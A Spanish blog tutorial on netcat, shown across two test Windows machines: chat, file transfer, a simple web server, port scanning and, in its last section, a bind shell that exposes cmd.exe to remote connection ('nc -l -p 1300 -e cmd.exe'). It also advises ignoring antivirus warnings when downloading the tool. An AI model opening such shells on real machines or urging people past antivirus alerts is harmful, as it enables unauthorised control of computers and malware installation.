Hey! ¿Como han estado? Espero que con un poco menos de frio que yo 😛 Despues de un tiempo sin poder publicar nada en el blog por cuestiones ajenas de mi retomaremos el camino y espero no volver a desviarnos de el, vamos a hablar un poco sobre la famosa navaja suiza de netcat, bueno.. tal vez no tan famosa pero si bastante util! una vez que la conozcas (si aun no la conocias) no te quedras separar de ella.
Antes de empezar
Antes que nada decirte que netcat es una herramienta de red para administradores y aunque no es tan conocida por personas ajenas al ramo es bastante util, es libre nacio en unix y posteriormente estuvo disponible para windows y macs.
Con ella puedes hacer bastante cosas como escaneo de puertos (principalmente) pero hay otros usos bastante interesantes como crear conversaciones entre maquinas, servidor web, transferencia de archivos y mas.. incluso tiene usos bastante hacking debido a que puedes tomar el control total de otra pc.
La puedes descargar desde este enlace ( si el antivirus te la detecta como virus es normal, permite la descarga 🙂 )

Suscríbete a nuestra lista de correo y recíbe los últimos contenidos directamente en tu bandeja de correo electrónico, puedes elegir únicamente de que categoria del blog quieres recibir contenido.
SuscríbemeSimplemente descargamos, descomprimimos y copiamos a Windows/System32 para mayor facilidad.
Los ejemplos de a continuacion estan basados sobre 2 maquinas:
Maquina A 192.168.0.11 Windows 7
Maquina B 192.168.0.14 Windows 7
montadas para propósitos de prueba.
Todos los comandos se ejecutan en el simbolo del sistema, para abrirlo presionar Ctrl + R y escribir cmd.
Chat entre 2 maquinas con netcat
Maquina A
nc -l -p 1300
Maquina B
nc 192.168.0.11 1300
Maquina B
Hola como estas
Maquina B
bien y tu
Transferencia de Archivos con netcat
En maquina A crear archivo.txt con texto «hola mundo desde maquina A!»
Maquina B preparamos para recibir y guardar stream
nc -l -p 1300 > archivo.txt
Maquina A mandamos stream del archivo a maquina B
nc -v -w 3 192.168.0.14 1300 < archivo.txt
Transferencia mediante navegador web
Teniendo imagen.jpg en maquina A
Maquina A
nc -v -L -p 1300 < imagen.jpg
Maquina B
Ir a un navegador e ir a la dirección 192.168.0.11:1300
Servidor web con netcat
Crear un archivo html para la pagina web en la Maquina A
Maquina A
nc -v -L -p 80 < index.html
Maquina B
Ir a un navegador e ir a la direccion 192.168.0.11
Escaneo de Puertos con netcat
Maquina A
Escaneamos los puertos del 1 al 1000 del dominio dominio.com
nc -v -w 1 dominio.com -z 1-1000
Control total de otra maquina con netcat
Maquina B servimos el control
nc -l -p 1300 -e cmd.exe
Maquina A tomamos el control para hacer prácticamente cualquier cosa que queramos
nc -v 192.168.0.14 1300 echo. "Saludos desde Maquina A!" > saludar.txt start notepad saludar.txt
y eso es todo por hoy espero que se hayan quedado con la espinita de seguir encontrando mas usos para el netcat y nos los dejen en los comentarios.
¿Ya conocías esta herramienta?¿Que tal te parece?
Saludos!
2 Comentarios